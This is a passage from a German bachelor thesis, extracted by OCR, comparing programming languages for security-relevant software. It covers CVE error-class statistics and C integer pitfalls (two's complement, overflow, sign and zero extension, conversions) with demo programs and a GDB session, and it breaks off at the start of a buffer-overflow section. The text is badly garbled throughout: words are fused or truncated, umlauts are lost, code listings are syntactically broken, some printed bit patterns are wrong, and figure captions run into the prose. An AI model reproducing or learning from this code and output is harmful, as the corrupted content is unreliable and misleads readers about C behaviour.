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Abstract

Im Rahmen dieser Bachelorarbeit soll die Eignung verschieder Programmiersprachen
zur Implementierung sicherheitsrelevanter Anwendungemtersucht werden. Insbesondere
der in der UNIX-Dienstprogrammierung beobachtbare Fokusud die Programmiersprache
C wird einer kritischen Betrachtung im Hinblick auf sicherkitsrelevante Programmiera-
spekte unterzogen. Desweiteren werdenegliche Alternativen aufgezeigt und bewertet.
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Executive Summary

Im Rahmen dieser Bachelorarbeit untersuche ich die Eignungrschiedener Program-
miersprachen zur Implementierung sicherheitsrelevantdmwendungen. Ich betrachte hier-
zu neben anderen sicherheitsal#glichen Eigenschaften die jeweilige Aalfligkeit fur be-
sonders mu g auftretende Kategorien von Softwarefehlern, sogenaten Fehlerklassen.

Mein Fokus liegt hierbei auf Fehlerklassen, zu denen Prognanierer durch Eigenschaf-
ten der jeweiligen Programmiersprachen verleitet werdemd welche direkte Auswirkun-
gen auf die Sicherheit des Programms haben.

Durch diese Untersuchung rachte ich nicht nur Aufschlusseiber isolierte Verwundbar-
keiten der Sprachen geben, sondern auchuékschkisse auf das Sicherheitsbewu tsein der
Entwickler der Sprachen erlauben.

Besonders zu beachten bei dieser Untersuchung ist, dasshhijede Sprache d@r jede
Aufgabenstellung geeignet ist, sowie, dass das Ziel deri@iheit oft in direktem Kon ikt
mit einem geringen Ressourcenverbrauch und einer kurzenti&itklungszeit steht.

Die Untersuchung ergab, dass Python gefolgt von C# die gemsten Anflligkeiten
aufweisen. Java ist zwar schneller als Python und C#, dieslalne ist aber unter Besick-
sichtigung der Mangel der Sprache unzureichend um sie Python oder C# vorzehen.
Sollte der Ressourcenverbrauch dieser interpretierten ghen zu hoch #r die jeweili-
ge Aufgabenstellung sein, emp ehlt sich die Nutzung kompdrter Sprachen #r isolierte
Programmteile. Falls sich die performanzkritischen Teileler Anwendung nicht isolieren
lassen, hat sich D als sicherste Alternative herausgestelhd bei hechsten Performanzan-
forderungen der vorsichtige Einsatz von C++.

Die Verwendung der Programmiersprache C sollte hingegenrweeden werden, da jede
positive Eigenschaft der Sprache auch von C++ und D geteilt wd.
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KAPITEL 1. EINLEITUNG

1 Einleitung

1.1 Motivation

= 22:16

In meiner Praxisphase wurde mir die Aufgabe gestellt, sy -y
einen in C programmierten UNIX-Dienst neu zu imple- g%gﬂoﬁsgﬁggfgggmm,e
mentieren. Der bereits vorhanden Dienst war ﬁl‘:ﬁmﬁﬁﬁoﬁjﬁjﬂmwmsm
wie viele andere C-Programme auch, asifig fur eine C-
spezi sche Sicherheitalcke. Daraus ergab sichefr mich die
Fragestellung, ob die weit verbreitete Praxis, UNIX-Dieng

ausschlie lich in C zu implementieren, noch sinnvoll ist.

gen untersuchen. Hierbei mchte ich sowohl die Sirken als
auch die Schwchen der verschiedenen Sprachen analysié
ren, sowie Mpglichkeiten aufzeigen, eventuell vorhandeneapbildung 1.1: Eine Bild-
Schwachen einzuschanken oder zu beheben. schirmaufnahme  eines  Apple

Neben der Untersuchung sicherheitsalsglicher Sprach- iPhone auf dem durch Aus-
eigenschaften werde ich im Rahmen dieser Arbeit, die wichnutzung  eines  Pu eablaufs
tigsten Ursachen sicherheitsgahrdender Fehler beschrei- (cve-Bezeichnung: \buf) vom
ben, die nicht alleine durch Schwchen der jeweiligen Pro- Hersteller nicht vorgesehene Pro-
grammlogik entstanden sind, sondern zu denen Programgramme installiert wurdeA[SecD6].
mierer durch Eigenschaften der Programmiersprachen ver279 der bisher verkauften iPhones
leitet werden. wurden durch diese oder andere

Hierbei liegt mein Fokus auf Fehlerursachen, die nichtSoftwareschwchen von ihrer An-
nur zu Programmfehlern oder -ablwchen #ihren, sondern bieterbindung befreit. Analysten
die durch gezielte Angri e missbraucht werden &nnen und rechnen mit dadurch verursachten
es einem Angreifer zum Beispiel eraglichen, den Program- Verlusten von $500.000.000 bis
mablauf zu steuern oder Schadcode einzuschleusen. Ein aknde 2008[New08].
tuelles Beispiel &ér diese varen zum Beispiel die diversen
Attacken auf Apples iPhone (siehe AbbildundT]1).

Durch die Untersuchung dieser Fehlerklassen und andererr&gheigenschaften mchte
ich nicht nur Aufschlusseber isolierte Verwundbarkeiten der Sprachen gewinnen,rstern
auch Reickschhkisse auf das Sicherheitsbewu tsein der Entwickler der Smtaen erlauben.
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Fehlerklasse  Absolut Prozent Fehlerklasse Absolut Prozent

buf 1378 9.81 XSS 2288 16.29
format-string 200 1.42 sgl-inject 1674 11.92
link 190 1.35 php-include 1045 7.44
int-over ow 165 1.17 metachar 114 0.81
priv 154 1.10 webroot 107 0.76
crypt 147 1.05 form-eld 64 0.46
perm 148 1.05 upload 52 0.37
auth 100 0.71 CSRF 18 0.13
pass 89 0.63 (b) Fehlerklassen von Web-Anwendungen
dos- ood 67 0.48
race 58 0.41 Fehlerklasse Absolut Prozent
crlf 55 0.39 dot 617 4.39
relpath 52 0.37 Iinfoleak 487 3.47
memleak 40 0.28 dos-malform 311 2.21
spoof 28 0.20 eval-inject 30 0.21
signedness 24 0.17c) Fehlerklassen, die sowohlurf Web-
rand 20 0.14 Anwendungen als auch normale Anwendun-
msdos-device 18 0.1%en relevant sind
default 16 0.11 Fehlerklasse Absolut Prozent
double-free 16 0.11 other 5039 1451
CF 14 0.10

unk 1396 9.94
sandbox 11 0.08 not-speci ed 803 5.72
dos-release 5 0.04 undiag 1 0.01
design 6 0.04 _
type-check 2 0.01 (d) Sonstige Fehlerklassen

(a) Fehlerklassen normaler Anwendungen

Tabelle 1.1: Zusammenfassung der CVE Fehlerklassetistdés Jahre 2004{2006

Dazu habe ich auf Basis einemjrlich erscheinenden Statistik deCommon Vulnerabi-
lites and ExposurefCMO07] (CVE) eine Analyse der aufgetretenen Ursachen sicheitskri-
tischer Fehler der Jahre 2004{2006 durchgsirt. Common Vulnerabilities and Exposures
ist eine gemeinmtzige und allgemein anerkannte Organisation, die bekanrgewordene
sicherheitskritische Softwarefehler katalogisiert unchisogenannte Fehlerklassen kategori-
siert.

Tabelle [I] zeigt die entsprechenden Verteilungen unter Meendung der CVE Be-
zeichnungen déir Fehlerklassen (#ir eine Erklarung dieser siehe Seite b7 im Anhang). Um
statistische Schwankungen auszugleichen wurden die Wedeser Jahre gemittelt. Aus
Grenden derUbersichtlichkeit habe ich die Fehlerklassen nach ihrer Revanz #ir normale
Anwendungen, Webanwendungen und beide Arten von Anwendugg vorsortiert.

In dieser Arbeit werde ich mich nicht mit Problemen befassenlie fer die Entwicklung
von Webanwendungen spezi sch sind, da mein Hauptaugenmetile traditionelle Anwen-

2 Programmiersprachenwahl bei der Entwicklung sicherheits relevanter Software



KAPITEL 1. EINLEITUNG

Fehlerklasse  Absolut Prozent Fehlerklasse Absolut Prozent

dot 346 9.07 buf 1378 36.14
infoleak 273 7.16 format-string 200 5.25
link 190 4.98 int-over ow 165 4.33
dos-malform 174 4.56 signedness 24 0.63
priv 154 4.04 double-free 16 0.42
crypt 147 3.86 1783  46.77
perm 148 3.88 (b) Fehlerklassen, die durch fehlerhafte Nut-
auth 100 2.62 zung und Missversendnis von Sprachfunk-
pass 89 2.33tionen entstehen
dos- ood 67 1.76
race 58 1.52
crlf 55 1.44
relpath 52 1.36
memleak 40 1.05
spoof 28 0.73
rand 20 0.52
msdos-device 18 0.47
eval-inject 17 0.45
default 16 0.42
CF 14 0.37
sandbox 11 0.29
dos-release 5 0.13
design 6 0.16
type-check 2 0.05

2030 53.22

(a) Fehlerklassen, die ge tenteils durch lo-
gische Fehler im Programmablauf entstehen

Tabelle 1.2: Eine Reduktion der CVE Statistik der Jahre 6 auf Fehlerklassen mit
Relevanzeir die in dieser Arbeit betrachteten normalen Anwendungen

dungsentwicklung ist und Webanwendungen nur sehr wenige Hferklassen mit diesen
teilen.

Eine Reduktion dieser Statistik auf Fehlerklassen mit Relanz fur die in dieser Ar-
beit betrachteten normalen Anwendungen und Aufteilung deErgebnismenge in reine
Logikfehler und Fehlerklassen, die zum grten Teil durch fehlerhafte Nutzung oder das
Missverstehen von Sprachfunktionen entstanden sind, rdgert in der Tabelle [L2A. Wie
man dieser Tabelle entnehmen kann machen Fehler in der Pragimlogik zwar etwas
mehr als die Halfte der Fehlermenge aus. Die Restlichen knapp 47%tten jedoch schon
durch das Design der Sprache oder die Auswahl selbiger vadert werden kennen. Die
Untersuchung dieser Fehlerklassen stellt den Fokus died&tbeit dar.

Dabei werde ich den Gro teil dieser Untersuchung der Prognamiersprache C widmen.

Programmiersprachenwahl bei der Entwicklung sicherheits relevanter Software 3



KAPITEL 1. EINLEITUNG

Dies hat folgende Gunde:
die Sprache C hat eine sehr gro e Verbreitung,

UNIX-Dienste werden traditionell in C geschrieben und habeim Laufe der Jahre
eine sehr gro e Anzahl an Sicherheitatken hervorgebracht,

viele interpretierte Sprachen nutzen aus Geschwindigkegrinden in C oder C++
programmierte Interpreter beziehungsweise virtuelle Makinen und sind dadurch
unter Umstanden angllig fur die Schwachen dieser Sprachen,

viele hohere Programmiersprachen nutzen Funktionen von C zur Untgang eigener
Methoden.

Als Beispielarchitektur habe ich die 32bit x86 Prozessorntfalie (auch x86-32 genannt)
sowie das Betriebssystem Linux geanlt. Der Fokus auf x86-32 im Gegensatz zu x86-64
begrindet sich in der hohen Verbreitung, der oft einfacheren Siktur, sowie in der einfa-
chenUbertragung von Konzepten von x86-32 auf x86-64. Der FokusfaLinux begreindet
sich in der gro en Verbreitung im Servermarkt, sowie in der @nheit des Betriebssystems,
welche es ermaglicht, sowohl Schwchen als auch Schutzma nahmen einfach zu untersu-
chen und das Versandnis dieser auf andere Systeme aibertragen.

1.2 Struktur der Arbeit

Diese Arbeit widmet sich der Vorstellung verschiedener Pgoammiersprachen, die sich in
zwei Kategorien einteilen lassen: kompilierte und intergtierte Sprachen. Die aus bekann-
ten Grenden in dieser Arbeit vorrangig betrachtete Programmiemache C &llt dabei in
die Kategorie der kompilierten Sprachen.

Bei der Auswahl der anderen Sprachen habe ich mich an den S$stiken des \TIO-
BE Programming Community Index'{Sof08] und des O'Reilly \Rogramming Language
Trends'{O'R0O6] orientiert.

Perl, PHP und Basic habe ich hierbei aufgrund ihres seltendfinsatzes zur Entwick-
lung alleinstehender Anwendungen vernaaigsigt. Java hingegen habe ich aufgrund seiner
sehr hohen Verbreitung und C# wegen seiner Verbreitung und ¢hkurrenzstellung zu Ja-
va ausgewhlt. Die Programmiersprache Ruby habe ich vernachsigt, da sie prinar fer
Web-Anwendungen eingesetzt wird und gro eéAhnlichkeiten mit Python aufweist. Die
Sprache D hingegen habe ich trotz der geringen Verbreitungifgenommen, da sie als
einzige einen mglichen Nachfolgerdr C oder C++ darstellt.

In Kapitel Bl werde ich die Sprache C im Hinblick auf ihre vie#iltigen sicherheits-
kritischen Spracheigenschaften untersuchen. Ich werdelda einen Gro teil der in der

4 Programmiersprachenwahl bei der Entwicklung sicherheits relevanter Software



KAPITEL 1. EINLEITUNG

Statistik der CVE dominierenden Fehlerklassen, sie ausreégnde Angri stechniken und
Gegenma nahmen gegen diese vorstellen.

Kapitel Bl widmet sich den C-verwandten kompilierten Spragn C++ und D. C++
wurde wegen seinemberragenden Verbreitung ausgeahlt, D wegen des bereits oben
ernnvahnten Nachfolgepotentials.

Kapitel @ beschaftigt sich mit interpretierten Sprachen. Hier habe ich auiGrund der
jeweiligen hohen Verbreitung Java, C# und Python zur Unterschung ausgewhilt.

Abschliessend machte ich in Kapitel[d eine Bewertung der verschiedenen Pr@gnmier-
sprachen und ihrer Eignung zur Entwicklung sicherheitsrelanter Software abgeben.

Programmiersprachenwahl bei der Entwicklung sicherheits relevanter Software 5
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KAPITEL 2. C

2 C

Die Entwicklung der Programmiersprache C begann bereits idahr 1969[Rit93]. Be-
reits damals zeichnete sie sich durch hohe Geschwindigkemd geringe Hardwareab-
straktion aus, weshalb sich die Sprache heute noch einer lkohBeliebtheit erfreut. Dies
gilt besonders im Unix Umfeld, in der Systemprogrammierungnd der hardwarenahen
ProgrammierunglKR90].

Im folgenden Kapitel werde ich die Sprache mit ihren Vor- undlachteilen vorstellen.
Um Missversendnisse zu vermeiden werde ich Begri e aus dem ISO C-StamddlSO/IEC
9899Int05]), ®ir die es keine verbreitete deutsch®bersetzung gibt, nichtebersetzen.

Als Compiler nutze ich in diesem Kapitel ausschlie lich derC-Compiler der GNU
Compiler Collection[thea] (kurzgcc) in Version 4.2.3, wie bei der Wahl der Plattform und
des Betriebssystems ebenfalls aus @rden der sehr hohen Verbreitung und O enheit.

Die in den Beispielen verwendeten Header-Dateien nden kiab Seite 7B im Anhang.

2.1 Probleme bei der Zahlendarstellung

2.1.1 Grundlagen

Das Zweierkomplement

Das Zweierkomplement ist eine Zahlendarstellungsmethodkei der das lchste Bit zur
Speicherung des Vorzeichens genutzt wird. Es ist O bei pogtn Werten und 1 bei nega-
tiven. Positive Werte werden als normale Biarzahlen in den restlichen Bits gespeichert,
negative Werte werden invertiert und um 1 inkrementiert, we in Listing 2 und[Z2 zu
sehen ist.

In heutigen Rechnersystemen wird zur Darstellung von Zahigast ausschlie lich das
Zweierkomplement verwendet. Hiesfr konnen zwei Hauptgende angeéihrt werden|[PH97,
213{217]:

1. Im Zweierkomplement muss bei Addition und Subtraktion raht zwischen positiven
und negativen Zahlen unterschieden werden.

2. Im Gegensatz zu anderen Verfahren gibt es nur eine Darsielg der Null.

Programmiersprachenwahl bei der Entwicklung sicherheits relevanter Software 7



KAPITEL 2. C

2comp.c

#include  <stdlib.h>
#include  <math.h>
#include  "bits.h"

int main(- void ) {

int i =1;

int ni = -1;

int 2 =7,

int ni2 = -7,

int  maxpos = 2147483647,
int  maxneg = -2147483647;

printBitsInt(0, i);
printBitsInt(0, ni);
printBitsInt(0, i2);
printBitsInt(0, ni2);
printBitsInt(0, maxpos);
printBitsInt(0, maxneg);

}
1 = 00000000000000000000000000000001
-1 =112111112221111222111222111722111121212
7 = 00000000000000000000000000000111
-7 = 1111111111111111121112111111111001
2147483647 = 01111111111111112111122111122111
-2147483647 = 10000000000000000000000000000001

Listing 2.1: Beispieleuf die Zahlendarstellung im Zweierkomplement

2comp_add.c

#include  <stdlib.h>
#include  <math.h>
#include  "bits.h"

int  main( void ) {

int a = -2;
int b =3
int c=a+ b

printBitsInt("a", a);
printBitsInt("b", b);
printBitsInt("c", c);

exit(0);
}
a = -2 =1111121222222222222222222212112110
b = 3 = 00000000000000000000000000000011
c = 1 = 00000000000000000000000000000001

Listing 2.2: Ein Beispiebf die Addition im Zweierkomplement
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Datentyp - - . ”‘P.32LL .

Bits | signed min. signed max. unsigned max.
_Bool 8 0 1 1
char 8 -128 127 255
short 16 -32768 32767 65535
int 32| -2147483648 2147483647 4294967295
long 32| -2147483648 2147483647 4294967295
longlong 64 263 26 1 204
void * 32 0 OxFFFFFFFF OxFFFFFFFF

Tabelle 2.1: Datentypen auf x86-3&id * bezeichnet hierbei Zeiger.

Datentyp LPo4

Bits | signed min. signed max. unsigned max.
_Bool 8 0 n/a 1
char 8 -128 127 255
short 16 -32768 32767 65535
int 32| -2147483648 2147483647 4294967295
long 64 263 23 1 241
longlong 64 263 23 1 241
void * 64 0 n/a OxFFFFFFFFFFFFFFFF

Tabelle 2.2: Datentypen auf x86-64

Das C-Typensysteme

Typensystem@ geben die Ge e verschiedener C-Datentypen vor. Compilereir x86-32
nutzen in der Regel das Typensystem ILP32LL, Compilesf x86-64 nutzen LP64IDMS07a,
210f].

Diese Typensysteme de nieren Cs ganzzahlig Datentypen wieden TabellenZ1 und
22 dargestellt.

Zero-Extension und Sign-Extension

Zero-Extension und Sign-Extension sind Vorgehensweisen bei der Konvertierung einer
Ganzzahl in einen go eren Datentypen. Zero-Extensionwird bei vorzeichenlosen Datenty-
pen angewendet undefilt die zusatzlichen Bits mit O auf (siehe ListingdZ.B) Sign-Extension
wird bei vorzeichenbehafteten Datentypen angewendet undllit die zusatzlichen Bits mit
dem Vorzeichenbit der urspanglichen Variable auf (siehe Listing—214).

Lauch Programmiermodelle genannt

Programmiersprachenwahl bei der Entwicklung sicherheits relevanter Software 9



int_ze.c

#include  "bits.h"
int  main( void ) {

unsigned short us = 65535;

unsigned int ui = us;

printBitsUShort("us”, us);

printBitsUInt("ui", ui);

exit(0);
}
us = 65535 = 1111111111111111
ui = 65535 = 00000000000000001111111111111111

Listing 2.3: Ein Zero-Extension-Beispiel

int_se.c

#include  "bits.h"
int  main( void ) {

short sl = 256;

int i1 = s1,;

short s2 = -256;

int 2 = s2;

printBitsShort("s1", sl);

printBitsInt("i1", i1);

printBitsShort("s2", s2);

printBitsInt("i2", i2);
}
sl = 256 = 0000000100000000
i1 = 256 = 00000000000000000000000100000000
s2 = -256 = 1111111100000000
i2 = -256 = 11111111111111111111111100000000

Listing 2.4: Ein Sign-Extension-Beispiel

KAPITEL 2. C
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2.1.2 Integer wber- und -unterl aufe

Zu einem Integesberlauf kommt es, wenn das Ergebnis einer Rechenoperation gro
(beziehungsweise bei negativen Zahlen zu klein) ist, um iredZielvariablen gespeichert
zu werden. Hierbei werden auf den meisten Architekturen dberhangenden Bits einfach
verworfen. Zwar setzen Prozessoren in solchemllen in der Regel einOver ow-Flag,
allerdings ist es nur sehr um#tndlich meglich, dieses aus Hochsprachen heraus abzufragen
und die meisten Architekturen sehen keine Ausnahme in diesd-all vor. Anfallig ferr Uber-
und Unterlauf-Probleme sind Additionen, Subtraktionen ua Multiplikationen.

Das Verhalten bei einemtberlauf einer vorzeichenbehafteten Variable ist Dowd et
al.[IDMS074a] zufolge implementierungsalsimgig. So ist es auf unserer Beispielarchitektur
meglich, dass ein solchetUberlauf das Vorzeichenbiteberschreibt (siehe ListingZh).

int_overflow.c
#include  "bits.h"

int  main( void ) {
int a=1
int b = OXTfffffff;

int ¢ = atb

printBitsint("a", a);
printBitsInt("b", b);
printBitsInt("c", c);

1 = 00000000000000000000000000000001
2147483647 = 01111111111111111111111111111111
-2147483648 = 10000000000000000000000000000000

T o
o n

Listing 2.5: Ein Integeberlauf

Listing 228 zeigt einen Teil des Ablaufs von Listing—215 im GN Debugger (GDB),
sowie die gesetztet)berlauf-Flags nach der Addition.

2.1.3 Absolute Zahlendarstellung

Da es im Zweierkomplement nur einen Wertefr Null gibt und dieser eine positive Zahl
darstellt, enthalt die Menge der darstellbaren negativen Zahlen ein Elentemehr als die
der darstellbaren positiven Zahlen. Dieshrt dazu, dass dasibliche Vorgehen zur Inver-
tierung von Zahlen (siehe KapiteCZZ1l1) bei Anwendung aufiel kleinste negative Zahl
nicht das erwartete Ergebnis liefert und reglicherweise Programmallufe stark beein us-
sen kann (siehe David LeBlanc[LeB04] und Dowd et al.IDMS07&eite 235]). Ein Beispiel
hierzu ndet sich in Listing 221
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bachelor@debian:~/ba/code$ gdb -n -q ./int_overflow

Using host libthread_db library "/lib/tls/i686/cmov/lib thread_db.so.1".
(gdb) disassemble main+17 main+37

Dump of assembler code from 0x80485ca to 0x80485de:

0x080485ca <main+17>: movl  $0x1,0xfffffff0(%ebp)

0x080485d1 <main+24>:  movl  $Ox7fffffff,Oxfffffff4(Y%ebp )
0x080485d8 <main+31>: mov Oxfffffff4(%ebp),%eax

0x080485db <main+34>: add Oxfffffff0(%ebp),%eax

End of assembler dump.

(gdb) b *main+34

Breakpoint 1 at 0x80485db

(gdb) run

Starting program: /home/bachelor/ba/code/int_overflow

Failed to read a valid object file image from memory.

Breakpoint 1, 0x080485db in main ()
(gdb) info registers

eax Ox7fffffff 2147483647

L]

eip 0x80485db 0x80485db <main+34>
eflags 0x200286 [ PF SF IF ID ]

[-]

(gdb) si

0x080485de in main ()
(gdb) info registers

eax 0x80000000 -2147483648

[--]

eip 0x80485de 0x80485de <main+37>
eflags 0x200a96 [ PF AF SF IF OF ID ]

(-]

Listing 2.6: Ein Integetberlauf im GDB. Dieadd-Instruktion an der Positior main+34>
addiert die Werte 0x7 f (welcher sich im Registegax be ndet) und 1 (welcher sich auf
dem Stack be ndet). Das Ergebnis wird danach im Register gespeichert. Das Register
eflags enthalt hierbei die CPU-Flags.

int_abs.c

#include  <stdlib.h>
#include  "bits.h"

int  main( void ) {

int i = -2147483648;
int  a = abs(i);

int b =1 » (-1);
int ¢ = -

printBitsInt("i", i);
printBitsint("a", a);
printBitsInt("b", b);
printBitsint("c", c);

exit(0);
}
i = -2147483648 = 10000000000000000000000000000000
a = -2147483648 = 10000000000000000000000000000000
b = -2147483648 = 10000000000000000000000000000000
c = -2147483648 = 10000000000000000000000000000000

Listing 2.7: Verschiedene fehlschlagende Methoden dentierung von .

12 Programmiersprachenwahl bei der Entwicklung sicherheits relevanter Software



KAPITEL 2. C

2.1.4 Gegenma nahmen

Es existieren mittlerweile mehrere GCC-Modi kationen, dé versuchen, Integerberlaufe
oder ihre Folgen zu erkennen oder zu engkiten, zum Beispiel die \Big Loop Integer Pro-
tection" (BLIP ) von Oded Horovitz[Hor02] odeRICH, das\Run-time Integer CHecking™
Tool, von Brumley et al.[BCJ"|.

Der BLIP-Ansatz besteht darin, die Argumente aller\schlgienartigen” Funktionen auf
Sinnhaftigkeit zu eberpreifen. Dazu gel®ren zum Beispieimemcpyodermemset. Falls die
vorzunehmende Anzahl an Iteratioreiber einem vorher de nierten, gro en Wert liegt, so
wird das Programm kontrolliert abgebrochen.

RICH hingegen #igt zur Laufzeit Uberprafungen in den Code ein, die alle Intege-
roperationen auf Werterhalt mberprefen. Sollte dies nicht gegeben sein, wird auch hier
das Programm abgebrochen. Die RICH-Entwickler geben hierf Performanzverluste von
durchschnittlich 3.7% an.

Leider ist keine dieser Compilererweiterungen standardmg in GCC enthalten, wes-
halb die Nutzung dieser unwahrscheinlich ist.

Zusatzlich existieren mittlerweile diverse Bibliotheken ér sichere Rechenoperationen
auf verschiedenen Integertypen|HowD6]. Diese erforderteedings, dass sich der Program-
mierer darlber bewusst ist, dass eine Operation unsicher ist, wovonilggeser Fehlerklasse
allerdings oft nicht ausgegangen werden kann.

2.2 Typkonvertierungsprobleme

2.2.1 Integer Promotion

Integer Promotion bezeichnet die Umwandlung kleinerer ganzzahliger Datemqgn in In-

teger. Dies erlaubt die Verwendung dieser kleineren Typem allen Stellen an denen ein
Integer erwartet wird und spielt eine wichtige Rolle in delUsual Arithmetic Conversion

in Kapitel 2Z3.

Zur Durchfehrung einer Integer Promotion wird jedem ganzzahligen Dahtypen vom
C-Standard eininteger Conversion Rankzugewiesenen. Dieser richtet sich nach dem Fas-
sungsvernoagen der Datentypen, allerdings muss derachsthwhere Datentyp ge er oder
gleich dem vorherigen sein, so dass gik;, 1 X,  Xp+1, Wie in Gleichung[Z1 darge-
stellt. Dies gewahrleistet, dass auch bei wechselnder &e der Datentypen auf anderen
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Architekturen immer die gleiche Typenhierarchie bestehtDie Vorzeichenbehaftung hat
hierbei keinen Ein uss auf den Integer Conversion Rank (die [Int05, Kapitel 6.3.1.1]).

(unsigned) long long (int)
(unsigned) long (int)
(unsigned) int

(unsigned) short (int)
(unsigned) char

_Bool

Gleichung 2.1: Die Integer Conversion Ranks

2.2.2 Integerkonvertierung

Die oft implizit durchgefehrten Konvertierungen zwischen Ganzzahlentypenskinen uner-
wartete Folgen haben. Diese Konvertierungen lassen sichdie im Folgenden vorgestellten
Klassen einteilen.

Zur Vertiefung dieser Materie mochte ich auf [Int05] und [DMS074a, Seite 223 ] ver-
weisen.

Konvertierung kleinerer Datentypen in gr © ere

Die Konvertierung kleinerer Datentypen in ge ere ist zwar auf Bit-Ebene immer ver-
lustfrei, kann aber beiAnderung der Vorzeichenbehaftung zu einer vollkommen anda
Interpretation des Wertes #ihren:

bei vorzeichenlosen Datentypen kommt es zu eingero-Extension
bei vorzeichenbehafteten zu eineBign-Extension

Dieses Vorgehen ist vollkommen unalsimgig von der Vorzeichbehaftung der Zielvaria-
ble, wie in Listing [Z8 gezeigt wird.

Konvertierungen gr e© erer Datentypen in kleinere

Bei der Konvertierung von ge eren Datentypen in kleinere wird nur ein einziges Verfalen
verwendet: das Verwerfen desberschussigen Bits (C-Standardiruncation). Dies fehrt zu
Datenverlust, falls es nicht neglich ist, den Ursprungswert vollséndig in der Zielvariablen
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int_castl.c

#include  <stdlib.h>
#include  "bits.h"
int  main( void ) {

short s = -1;

int i =s;

unsigned int u=s;

unsigned short us = 1;

unsigned int ui = us;

printBitsShort("s", s);

puts("™);

printBitsInt("i", i);

printBitsUInt("u", u);

puts(™);

printBitsUShort("us", us);

printBitsUInt("ui", ui);
}
S = -1 = 1111111111111111
i = -1 = 1111111111211111111111121121111111
u = 4294967295 = 11111111111111111111111111111111
us = 1= 0000000000000001
ui = 1 = 00000000000000000000000000000001

Listing 2.8: Konvertierung kleinerer Datentypen in gre

int_cast2.c

#include  <stdlib.h>
#include  <math.h>
#include  "bits.h"

int  main( void ) {
int i = pow(2,16);
short s = i

printBitsInt("i", i);
printBitsShort("s", s);

65536 = 00000000000000010000000000000000
0= 0000000000000000

(72}
nn

Listing 2.9: Konvertierungen g@erer Datentypen in kleinere
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zu speichern und kann zu unerwarteten Konsequenzemhfen, wenn zum Beispiel das
Vorzeichenbit so einen neuen Wert et (siehe Listing[Z9).

Konvertierung zwischen gleichgro en Datentypen mit versc hiedenen Vorzei-
chen

Bei der Konvertierung gleich gro er Datentypen mit untersbiedlichen Vorzeichen wird der
binare Wert ohne Konvertierungebernommen. Hierbei kann der urspmgliche numerische
Wert nicht erhalten werden, falls er negativ ist oder nichtm das Fassungsveregen der
vorzeichenbehafteten Variable passt.

int_cast3.c

#include  <stdlib.h>
#include  <math.h>
#include  "bits.h"

int  main( void ) {

int i =-1;
unsigned int ui = i;
int 2 = ui;

printBitsInt("i", i);
printBitsUInt("ui", ui);
printBitsInt("i2", i2);

exit(0);

-1 =1111121121121121121212112111111111111111
4294967295 = 11111111111111111111111111111111
-1 = 11111711121212212121212121221212121121121111111

ui
i2

Listing 2.10: Konvertierung zwischen gleichgro en Dateat mit verschiedenen Vorzeichen

2.2.3 Usual Arithmetic Conversions

Oft nden sich in C-Programmen Rechenoperationen oder Velgiche mit Variablen ver-
schiedener Typen. Um diese Operationen duraifiren zu kennen, nussen die verwende-
ten Werte in einen gemeinsamen Tymberfuhrt werden. Dies wird vom C-Standard als
Usual Arithmetic Conversion bezeichnet. Leider bknnen diese Konvertierungen leicht zu
unerwarteten Ergebnissenefhren, wenn man mit Werten unterschiedlicher Vorzeichenbe
haftung arbeitet. Dies #ihrt zu folgenden Problemen bei Werten, die zu gro sind um du
int erweitert zu werden (siehe KapitelZZ211).
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Operationen auf einem vorzeichenbehafteten und einem vorz eichenlosen Typ
mit gleich groem oder gr ® erem Conversion Rank

Bei solchen Operationen muss der vorzeichenbehaftete Typden vorzeichenlosemriber-
fuhrt werden (siehe KapiteZZ.ZP)). Diesshrt bei negativen Zahlen zu einer Fehlinterpre-
tation des numerischen Wertes. Ein architekturunabtingiges Beispiel hierzu ndet sich in
Listing EX11, ein weiteres, architekturabkngiges Beispiel ndet sich in ListingdZZ 1.

int_uacl.c

#include  <stdlib.h>
#include  "bits.h"

int  main( void ) {
int i = -2
unsigned int ui = 1,
unsigned int r

r=u + i

printBitsint("i", i);

printBitsUInt("i2", ( unsigned int ) i);
printBitsUInt("ui", ui);

printBitsUInt("r", r);

-2 = 111111111112111112121111111111110
4294967294 = 111111111111112211112211112211110
1 = 00000000000000000000000000000001
4294967295 = 111111111111112111122111122111122

N

= C

Listing 2.11: Operationen auf einem vorzeichenbehaftateineinem vorzeichenlosen Typ mit
gleich gro em oder grerem Conversion Rank

Operationen auf einem vorzeichenlosen und einem gr  © eren vorzeichenbehaf-
teten Typ

Normalerweise stellt diese Art von Vergleich kein Problemad. Allerdings gibt es eine
Ausnahme, fallsinteger Promotion nicht angewendet wird und der vorzeichenbehaftete
Typ zwar einen twhereninteger Conversion Rankbesitzt, allerdings trotzdem nicht alle
Werte des nieder rangigen Typs fassen kann. Dies ist zum Beed der Fall beiunsigned

int undlong aufx86-32. Der C-Standard schreibt in diesem Fall vor, deroxzeichenbe-
hafteten Typ in sein vorzeichenloses Gegemsk zu konvertieren, welcher dann als gemein-
samer Typ de niert wird, wie zum Beispiel auch in[[DMSQ07a, See 238 ] beschrieben.
Ein praktisches Beispiel hierzu ndet sich in ListingZZ.113
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int_uac2.c

#include  <stdlib.h>
#include  "bits.h"

int  main( void ) {

int 1= -2
unsigned int ui = 1;
long r =1 + uj

printBitsInt("i", i);

printBitsUInt("i2", i);
printBitsUInt("ui", ui);
printBitsLong("r", r);

Ausgabe auf x86

-2 =1111121212122222222222222222222210
1 = 00000000000000000000000000000001
-1 = 1111111111211112111211211111111111

=
nomon

Ausgabe auf x86-64

2 =111111111111111211111112111111110
1 = 00000000000000000000000000000001
5 = 00000000000000000000000000000000111111 11111111111211121212121111111

ui

429496729

Listing 2.12: Operationen auf einem vorzeichenbehafi@teineinem vorzeichenlosen Typ mit
gleich gro em oder grerem Conversion Rank (Architekturadotgig)

2.2.4 Gegenma nahmen

Wie bei denen in KapitellZ1 vorgestellten Problemen bei detahlendarstellung ist man
auch hier auf die selben GCC-Erweiterungen angewiesen (geKapitel [Z1.3).

2.3 Puer wberl aufe

Unter einem Pu ereberlauf (englisch: Bu er-Over ow) versteht man das verskentliche
Schreibeneber die Grenzen allokierten Speichers hinaus. Dies kanrr danipulation von
hinter dem Pu er gespeicherten Daten genutzt werden.

Die erste dokumentierte Ausnutzung eines Pu erblaufs erfolgte bereits 1988 als Teil
des Morris-Internet-Wurms, allerdings geriet die Fehletlasse danach lange Zeit in Ver-
gessenheit. Erst 1995 wurde sie von Thomas Lopatic wiedeetkt[Lop95] und erfreut
sich seit dem einer starken Verbreitung[Wik(8].

Pu er mberlaufe sind die bei weitem am &u gsten ausgenutzte Fehlerklasse der letzten
